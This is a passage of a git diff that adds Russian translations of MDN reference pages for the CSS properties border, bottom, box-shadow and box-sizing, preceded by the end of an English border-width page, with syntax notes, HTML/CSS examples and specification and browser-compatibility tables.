+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>Is either a non-negative explicit {{cssxref("&lt;length&gt;")}} value or a keyword denoting the thickness of the bottom border. The keyword must be one of the following values:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td style="vertical-align: middle;"><code>thin</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: thin; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">A thin border</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>medium</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: medium; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">A medium border</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>thick</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: thick; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">A thick border</td>
+   </tr>
+  </tbody>
+ </table>
+ The specification doesn't precisely define the thickness of each of the keywords, which is therefore implementation specific. Nevertheless, it requests that the thickness does follow the <code>thin ≤ medium ≤ thick</code> inequality and that the values are constant on a single document.</dd>
+</dl>
+
+<p><code>inherit</code></p>
+
+<dl>
+ <dd>Is a keyword indicating that all four values are inherited from their parent's element calculated value.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="A_mix_of_values_and_lengths" name="A_mix_of_values_and_lengths">A mix of values and lengths</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p id="sval"&gt;
+    one value: 6px wide border on all 4 sides&lt;/p&gt;
+&lt;p id="bival"&gt;
+    two different values: 2px wide top and bottom border, 10px wide right and left border&lt;/p&gt;
+&lt;p id="treval"&gt;
+    three different values: 0.3em top, 9px bottom, and zero width right and left&lt;/p&gt;
+&lt;p id="fourval"&gt;
+    four different values: "thin" top, "medium" right, "thick" bottom, and 1em right&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#sval {
+    border: ridge #ccc;
+    border-width: 6px;
+}
+#bival {
+    border: solid red;
+    border-width: 2px 10px;
+}
+#treval {
+    border: dotted orange;
+    border-width: 0.3em 0 9px;
+}
+#fourval {
+    border: solid lightgreen;
+    border-width: thin medium thick 1em;
+}
+p {
+    width: auto;
+    margin: 0.25em;
+    padding: 0.25em;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('A_mix_of_values_and_lengths', 300, 180) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No direct change, the {{cssxref("&lt;length&gt;")}} CSS data type extension has an effect on this property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Added the constraint that values' meaning must be constant inside a document.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-width', 'border-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.0</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>6.0</td>
+   <td>11</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The border-related shorthand properties: {{Cssxref("border")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}</li>
+ <li>The border-width-related properties: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}</li>
+</ul>
diff --git a/files/ru/web/css/border/index.html b/files/ru/web/css/border/index.html
new file mode 100644
index 0000000000..9f116b5eda
--- /dev/null
+++ b/files/ru/web/css/border/index.html
@@ -0,0 +1,118 @@
+---
+title: border
+slug: Web/CSS/border
+tags:
+  - CSS Границы
+  - CSS свойства
+  - Разметка
+  - СовместимостьМобильныхБраузеров
+  - Справка
+translation_of: Web/CSS/border
+---
+<div>{{CSSRef("CSS Borders")}}</div>
+
+<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>border</code></strong> это  <a href="/en-US/docs/Web/CSS/Shorthand_properties">универсальное свойство</a> для указания всех персональных свойств границ за раз: {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border.html")}}</div>
+
+<p>Как и во всех универсальных свойствах, любое персональное значение, которое не указанно, устанавливается в начальное занчение. Обратите внимание, <code>border</code> не может быть использован для указания пользовательского значения {{cssxref("border-image")}}, но вместо этого устанавливает его в начальное значение, т.е. <code>none</code>.</p>
+
+<pre class="brush: css no-line-numbers">border: 1px;
+border: 2px dotted;
+border: medium dashed green;
+</pre>
+
+<p> </p>
+
+<div class="note style-wrap">
+<p><strong>Замечание:</strong> Рекомендуется использовать <code>border</code>, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}}  принимают до четырех значений, позволяя установить различные значения для каждого ребра, <code>border</code> принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырех границ.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p>Свойство <code>border</code>  указывается используя одно или более значений <code><a href="#&lt;br-width>">&lt;br-width&gt;</a></code>, <code><a href="#&lt;br-style>">&lt;br-style&gt;</a></code>, и <code><a href="#&lt;color>">&lt;color&gt;</a></code> указанных ниже.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt id="&lt;br-width>"><code>&lt;br-width&gt;</code></dt>
+ <dd>Толщина границ. По умолчанию <code>medium</code> если отсутствует. Больше информации {{Cssxref("border-width")}}.</dd>
+ <dt id="&lt;br-style>"><code>&lt;br-style&gt;</code></dt>
+ <dd>Стиль линии границ. По умолчанию <code>none</code> если отсутствует. Больше информации {{Cssxref("border-style")}}.</dd>
+ <dt id="&lt;color>">{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>Цвет границ. По умолчанию принимает значение свойства элементов {{cssxref("color")}}. Больше информации {{Cssxref("border-color")}}.</dd>
+</dl>
+
+<h3 id="Обычный_синтаксис">Обычный синтаксис</h3>
+
+<pre class="syntaxbox"><code>{{csssyntax}}</code></pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="fun-border"&gt;Look at my borders.&lt;/div&gt;
+&lt;p&gt;Вы можете редактировать CSS ниже для экспериментов со стилями границ!&lt;/p&gt;
+&lt;style contenteditable&gt;
+  .fun-border {
+    border: 2px solid red;
+  }
+&lt;/style&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css  language-css"><code class="language-css"><span class="selector token">style </span><span class="punctuation token">{</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> block<span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> 1px dashed black<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Убирает  <em>особую</em> поддержку для <code>transparent</code>, так как сейчас принимается как значение {{cssxref("&lt;color&gt;")}}; это не имеет практического воздействия.<br>
+    Хотя нельзя установить пользовательское значение через универсальное свойство, <code>border</code> сейчас сбрасывает {{cssxref("border-image")}} до начального значения (<code>none</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Принимает ключевое слово <code>inherit</code>. Так же принимает <code>transparent</code> как действующий цвет.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border', 'border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<div id="compat-mobile">
+<article>
+<p>{{Compat("css.properties.border")}}</p>
+</article>
+</div>
+
+<h2 id="Также_смотрите">Также смотрите</h2>
+
+<ul>
+ <li>{{ Cssxref("border-radius") }}-related CSS properties: {{ Cssxref("border-top-left-radius") }}, {{ Cssxref("border-top-right-radius") }}, {{ Cssxref("border-bottom-right-radius") }}, {{ Cssxref("border-bottom-left-radius") }}</li>
+</ul>
diff --git a/files/ru/web/css/bottom/index.html b/files/ru/web/css/bottom/index.html
new file mode 100644
index 0000000000..db0c02f691
--- /dev/null
+++ b/files/ru/web/css/bottom/index.html
@@ -0,0 +1,162 @@
+---
+title: bottom
+slug: Web/CSS/bottom
+tags:
+  - CSS
+  - CSS Позиционирование
+  - CSS свойство
+  - Справка
+translation_of: Web/CSS/bottom
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS" title="CSS">CSS</a> свойство <strong><code>bottom</code></strong> частично определяет вертикальную позицию позиционируемого элемента. Оно не влияет на непозиционируемые элементы (т.е. <strong><code>bottom</code></strong> не применится, если задано <code>position: static</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/bottom.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<p>Эффект свойства <code>bottom</code> зависит от того, как позиционируется элемент (то есть от значения свойства {{cssxref("position")}}):</p>
+
+<ul>
+ <li>Когда задано <code>position: absolute</code> или <code>fixed</code> — свойство <code>bottom</code> устанавливает расстояние между нижним краем элемента и нижним краем содержащего его блока.</li>
+ <li>Когда задано <code>position: relative</code> — свойство <code>bottom</code> устанавливает расстояние, на которое нижний край элемента перемещается выше его обычной позиции.</li>
+ <li>Когда задано <code>position: sticky</code> — свойство <code>bottom</code> работает так, как при <code>position: relative</code> во время нахождения элемента внутри области просмотра, и как <code>position: fixed</code> вне области просмотра.</li>
+ <li>Когда задано <code>position: static</code> — свойство <code>bottom</code> <em>не имеет никакого эффекта</em>.</li>
+</ul>
+
+<p>Когда заданы оба свойства {{cssxref("top")}} и <code>bottom</code>, а свойство {{cssxref("height")}} не задано, <code>auto</code> или равно <code>100%</code>, то оба свойства {{cssxref("top")}} и <code>bottom</code> учитываются. Если свойство {{cssxref("height")}} задано, то свойство {{cssxref("top")}} будет учтено, а <code>bottom</code> — проигнорировано.</p>
+
+<h2 id="Синтаксис" name="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения величин */
+bottom: 3px;
+bottom: 2.4em;
+
+/* Процентные значения от высоты родительского блока */
+bottom: 10%;
+
+/* Ключевое слово */
+bottom: auto;
+
+/* Глобальные значения */
+bottom: inherit;
+bottom: initial;
+bottom: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Отрицательная, нулевая или положительная величина, которая представляет:
+ <ul>
+  <li>для <em>абсолютно позиционируемых элементов</em> &amp;mdash расстояние до нижнего края содержащего их блока;</li>
+  <li>для <em>относительно позиционируемых элементов</em> &amp;mdash расстояние, на которое элемент смещается вверх, относительно своего положения в нормальном потоке.</li>
+ </ul>
+ </dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Процент от высоты родительского блока.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Ключевое слово, которое указывает, что:
+ <ul>
+  <li>для <em>абсолютно спозиционированных элементов</em> — позиция элемента опирается на свойство {{cssxref("top")}}, пока <code>height: auto</code> обрабатывается как высота в зависимости от содержимого; если так же и <code>bottom: auto</code>, то элемент располагается так же, как при статическом позиционировании.</li>
+  <li>для <em>относительно спозиционированных элементов</em> — расстояние элемента от его обычной позиции основано на свойстве {{cssxref ("top")}}; если значение <code>top</code> также <code>auto</code>, элемент вообще не перемещается по вертикали.</li>
+ </ul>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Это ключевое слово указывает, что значение будет соответствовать вычисленному значению родительского блока  (необязательно непосредственного родителя). Вычисляемое значение обрабатывается так же, как {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}} или ключевое слово <code>auto</code>.</dd>
+</dl>
+
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример" name="Пример">Пример</h2>
+
+
+
+<p>Этот пример демонстрирует разницу в поведении свойства <code>bottom</code>, когда {{cssxref("position")}} является <code>absolute</code> и <code>fixed</code>.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h2&gt;Эксперимент&lt;/h2&gt;
+&lt;p&gt;Здесь&lt;br&gt;мы&lt;br&gt;набираем&lt;br&gt;побольше&lt;br&gt;высоты&lt;br&gt;для&lt;br&gt;вящей&lt;br&gt;наглядности&lt;br&gt;нашего&lt;br&gt;скромного,&lt;br&gt;но&lt;br&gt;очень&lt;br&gt;убедительного&lt;br&gt;эксперимента.&lt;br&gt;- Вот.&lt;/p&gt;
+&lt;div class="fixed"&gt;&lt;p&gt;Я фиксирован&lt;/p&gt;&lt;/div&gt;
+&lt;div class="absolute"&gt;&lt;p&gt;Я абсолютен&lt;/p&gt;&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  font-size: 30px;
+  line-height: 2em;
+}
+
+div {
+  width: 48%;
+  text-align: center;
+  background: rgba(55,55,55,.4);
+  border: 1px solid blue;
+}
+
+.absolute {
+  position: absolute;
+  bottom: 0;
+  left: 0;
+}
+
+.fixed {
+  position: fixed;
+  bottom: 0;
+  right: 0;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример','500','250')}}</p>
+
+<h2 id="Specifications" name="Specifications">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'bottom')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет дно как анимацию.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning', '#propdef-bottom', 'bottom')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Добавляет поведение для липкого позиционирования.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#choose-position', 'bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("css.properties.bottom")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("position")}}, {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}</li>
+</ul>
diff --git a/files/ru/web/css/box-shadow/index.html b/files/ru/web/css/box-shadow/index.html
new file mode 100644
index 0000000000..27ff998e35
--- /dev/null
+++ b/files/ru/web/css/box-shadow/index.html
@@ -0,0 +1,139 @@
+---
+title: box-shadow
+slug: Web/CSS/box-shadow
+tags:
+  - CSS
+  - CSS свойства
+  - CSS стили
+  - HTML цвета
+  - Стили
+  - тени
+translation_of: Web/CSS/box-shadow
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS-свойство <strong><code>box-shadow</code></strong> позволяет добавлять элементу одну или несколько теней, указывая их параметры через запятую.</span> Свойство тени представляет собой описанные смещения по x и y от элемента, радиус размытия и его радиус, а также цвет.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/box-shadow.html")}}</div>
+
+
+
+<p>Свойство <code>box-shadow</code> позволяет вам задать тень для почти любого элемента. Если элементу задано свойство {{cssxref("border-radius")}}, то тень также будет с закруглёнными углами. Расположение теней по оси z будет такое же, как и при применении свойства <a href="/ru/CSS/text-shadow">text-shadow</a> (первая тень будет впереди остальных).</p>
+
+<p><a href="/ru/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator">Генератор box-shadow generator</a> - интерактивный инструмент, позволяющий вам генерировать <code>box-shadow</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers">/* offset-x | offset-y | color */
+box-shadow: 60px -16px teal;
+
+/* offset-x | offset-y | blur-radius | color */
+box-shadow: 10px 5px 5px black;
+
+/* offset-x | offset-y | blur-radius | spread-radius | color */
+box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);
+
+/* inset | offset-x | offset-y | color */
+box-shadow: inset 5em 1em gold;
+
+/* Any number of shadows, separated by commas */
+box-shadow: 3px 3px red, -1em 0 0.4em olive;
+
+/* Глобальные ключевые слова */
+box-shadow: inherit;
+box-shadow: initial;
+box-shadow: unset;
+</pre>
+
+<p>Чтобы задать одну тень, можно использовать:</p>
+
+<ul>
+ <li>Два, три и четыре значения <code><a href="/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code>.
+
+  <ul>
+   <li>Если задано только два значения, они интерпретируется как <code><a href="#&lt;offset-x> &lt;offset-y>">&lt;offset-x&gt;&lt;offset-y&gt;</a></code> values.</li>
+   <li>Если задано третье значение, оно понимается как <code><a href="#&lt;blur-radius>">&lt;blur-radius&gt;</a></code>.</li>
+   <li>Если задано чертвёртое значение, оно интерпретируется <code><a href="#&lt;spread-radius>">&lt;spread-radius&gt;</a></code>.</li>
+  </ul>
+ </li>
+ <li>Дополнительно, можно задать ключевое слово <code><a href="#inset">inset</a></code>.</li>
+ <li>Дополнительно, можно задать значение <code><a href="#&lt;color>">&lt;color&gt;</a></code>.</li>
+</ul>
+
+<p>Чтобы задать несколько теней, перечислите их через запятую.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><a id="inset" name="inset"><code>inset</code></a></dt>
+ <dd>Если ключевое слово <code>inset</code> не указано (по умолчанию), тень будет снаружи элемента (и создаст эффект выпуклости блока).<br>
+ При наличие ключевого слова <code>inset</code>, тень будет падать внутри блока и создаст эффект вдавленности блока. Inset-тени рисуются в пределах границ элемента (даже прозрачные), поверх фона и за контентом.</dd>
+ <dt><a id="&lt;offset-x> &lt;offset-y>" name="&lt;offset-x> &lt;offset-y>"><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code></a></dt>
+ <dd>Существуют 2 значения {{ cssxref("&lt;length&gt;") }}, которые устанавливают смещение тени. <code>&lt;offset-x&gt;</code> определяет горизонтальное расстояние. Отрицательные значения располагают тень слева от элемента. <code>&lt;offset-y&gt;</code> определяет вертикальное расстояние. Отрицательные значения располагают тень выше элемента. Посмотрите какие единицы {{ cssxref("&lt;length&gt;") }} можно задать.<br>
+ Если оба значения равны <code>0</code>, то тень расположится за элементом (и будет отображаться размытие, если <code>&lt;blur-radius&gt;</code> и/или <code>&lt;spread-radius&gt;</code> установлены).</dd>
+ <dt><a id="&lt;blur-radius>" name="&lt;blur-radius>"><code>&lt;blur-radius&gt;</code></a></dt>
+ <dd>Это третье значение {{ cssxref("&lt;length&gt;") }}. Чем больше это значение, тем больше и светлее размытие. Отрицательные значения не поддерживаются. Если не определено, будет использоваться <code>0</code> (резкий край тени). Спецификация не содержит в себе точного алгоритма расчёта размытости теней, однако, в ней указано следущее:</dd>
+ <dd>
+ <blockquote>…for a long, straight shadow edge, this should create a color transition the length of the blur distance that is perpendicular to and centered on the shadow’s edge, and that ranges from the full shadow color at the radius endpoint inside the shadow to fully transparent at the endpoint outside it.</blockquote>
+ </dd>
+ <dt><a id="&lt;spread-radius>" name="&lt;spread-radius>"><code>&lt;spread-radius&gt;</code></a></dt>
+ <dd>Это четвёртое значение {{ cssxref("&lt;length&gt;") }}. Положительные значения увеличивают тень, отрицательные - сжимают. По умолчанию значение равно <code>0</code> (размер тени равен размеру элемента).</dd>
+ <dt><a id="&lt;color>" name="&lt;color>"><code>&lt;color&gt;</code></a></dt>
+ <dd>Смотрите возможные ключевые слова и нотации для {{cssxref("&lt;color&gt;")}}.<br>
+ Если не указано, используемый цвет будет зависеть от браузера - обычно будет применено значение свойства {{cssxref("color")}}, но Safari в настоящее время рисует прозрачную тень в этом случае.</dd>
+</dl>
+
+<h3 id="Интерполяция">Интерполяция</h3>
+
+<p>Each shadow in the list (treating <code>none</code> as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components. For each shadow, if both input shadows are or are not <code>inset</code>, then the interpolated shadow must match the input shadows in that regard. If any pair of input shadows has one <code>inset</code> and the other not <code>inset</code>, the entire shadow list is uninterpolable. If the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is <code>transparent</code>, all lengths are <code>0</code>, and whose <code>inset</code> (or not) matches the longer list.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<ul>
+ <li><a href="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html">тест box-shadow</a></li>
+ <li><a href="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/">примеры и руководство box-shadow</a></li>
+ <li><a href="https://cssgenerator.org/box-shadow-css-generator.html">CSS Генератор Box Shadow</a></li>
+</ul>
+
+<h2 class="cleared" id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("css.properties.box-shadow")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите_также</h2>
+
+<ul>
+ <li>Тип данных {{cssxref("&lt;color&gt;")}}</li>
+ <li>Другие свойства, относящиеся к цвету: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li>
+ <li><a href="/ru/docs/Web/HTML/Applying_color">Задание цвета HTML-элементам с помощью CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html
new file mode 100644
index 0000000000..9253fd4660
--- /dev/null
+++ b/files/ru/web/css/box-sizing/index.html
@@ -0,0 +1,128 @@
+---
+title: box-sizing
+slug: Web/CSS/box-sizing
+tags:
+  - Блоковая модель
+  - Контент
+  - высота
+  - размер
+  - ширина
+translation_of: Web/CSS/box-sizing
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/CSS">CSS</a> свойство <strong><code>box-sizing</code></strong> определяет как вычисляется общая ширина и высота элемента.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/css/box-sizing.html")}}</div>
+
+<div></div>
+
+<p>По умолчанию в <a href="/ru/docs/Web/CSS/box_model" title="CSS/Box_model">блоковой модели CSS</a> ширина и высота, которую вы задаёте элементу применяется только для контента элемента. Если у элемента есть граница или внутренний отступ, то они добавляются к ширине и высоте, чтобы получить отображаемый на экране размер. Это значит, что когда вы выставляете ширину и высоту, вам придётся изменять значение, при добавлении границ и отступов. Например, если у вас есть четыре блока с <code>width: 25%;</code> , и у какого-нибудь из них есть граница или внутренний отступ слева или справа, то по умолчанию они не поместятся на одной строке.</p>
+
+<p>Свойство <code>box-sizing</code> может изменять это поведение:</p>
+
+<ul>
+ <li><code>content-box</code> даёт стандартное поведение свойства box-sizing. Если вы выставите элементу ширину 100 пикселей, то ширина его контента будет 100 пикселей, а ширина границ и внутренних отступов при рендере будет добавлена к финальной ширине, делая элемент шире ста пикселей.</li>
+ <li><code>border-box</code> говорит браузеру учитывать любые границы и внутренние отступы в значениях, которые вы указываете в ширине и высоте элемента. Если вы выставите элементу ширину 100 пикселей, то эти 100 пикселей будут включать в себя границы и внутренние отступы, а контент сожмётся, чтобы выделить для них место. Обычно это упрощает работу с размерами элементов.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Примечание: </strong>Часто выставление <code>box-sizing: border-box</code> полезно для размещения элементов. Оно сильно упрощает работу с размерами элементов, и как правило устранаяет ряд подводных камней, на которые вы можете наткнуться, размещая контент. С другой стороны, используя <code>position-relative</code> или <code>position: absolute</code>, <code>box-sizing: content-box</code> позволяет позиционным значениям быть зависимыми только от контента, а не от границ и отступов, что иногда желательно.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p>Для свойства <code>box-sizing</code>  устанавливается единственное ключевое слово из списка значени ниже.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>content-box</code></dt>
+ <dd>Это значение по умолчанию, определенное в CSS стандарте. Свойства <a href="/ru/docs/Web/CSS/width">width</a> и <a href="/ru/docs/Web/CSS/height">height</a> включают исключительно контент, и не включают <a href="/ru/docs/Web/CSS/padding">padding</a> и <a href="/ru/docs/Web/CSS/border">border</a>. Например <code>.box {width: 350px; border: 10px solid black;}</code>  будет иметь ширину 370 пикселей.</dd>
+ <dd>Размеры элемента рассчитываются следующим образом: <em>width = ширина контента</em>, и <em>height = высота контента</em>. (Границы и внутренние отступы не включаются в вычисление.)</dd>
+</dl>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>Свойства <a href="/ru/docs/Web/CSS/width">width</a> и <a href="/ru/docs/Web/CSS/height">height</a> включают контент, внутренний отступ и границы, но не включают внешний отступ. Заметьте, что внутренний отступ и граница будут внутри блока. Например, <code>.box {width: 350px; border: 10px solid black;}</code> будет иметь общую ширину 350 пикселей, а ширина контента составит 330 пикселей. Размер контента не может быть отрицательным, минимальное значение - 0, поэтому <code>border-box</code> невозможно использовать для скрытия элемента.</dd>
+ <dd>Размеры элемента рассчитываются следующим образом: <em>width = граница + внутренний отступ + ширина контента</em>, и <em>height = граница + внутренний отступ + высота контента</em>.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Значение <code>padding-box</code> устарело</p>
+</div>
+
+<h2 id="Пример" name="Пример">Пример</h2>
+
+<p>Этот пример показывает как разные значения <code>box-sizing</code> изменяют видимый размер двух идентичных элементов.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="content-box"&gt;Content box&lt;/div&gt;
+&lt;br&gt;
+&lt;div class="border-box"&gt;Border box&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+  width: 160px;
+  height: 80px;
+  padding: 20px;
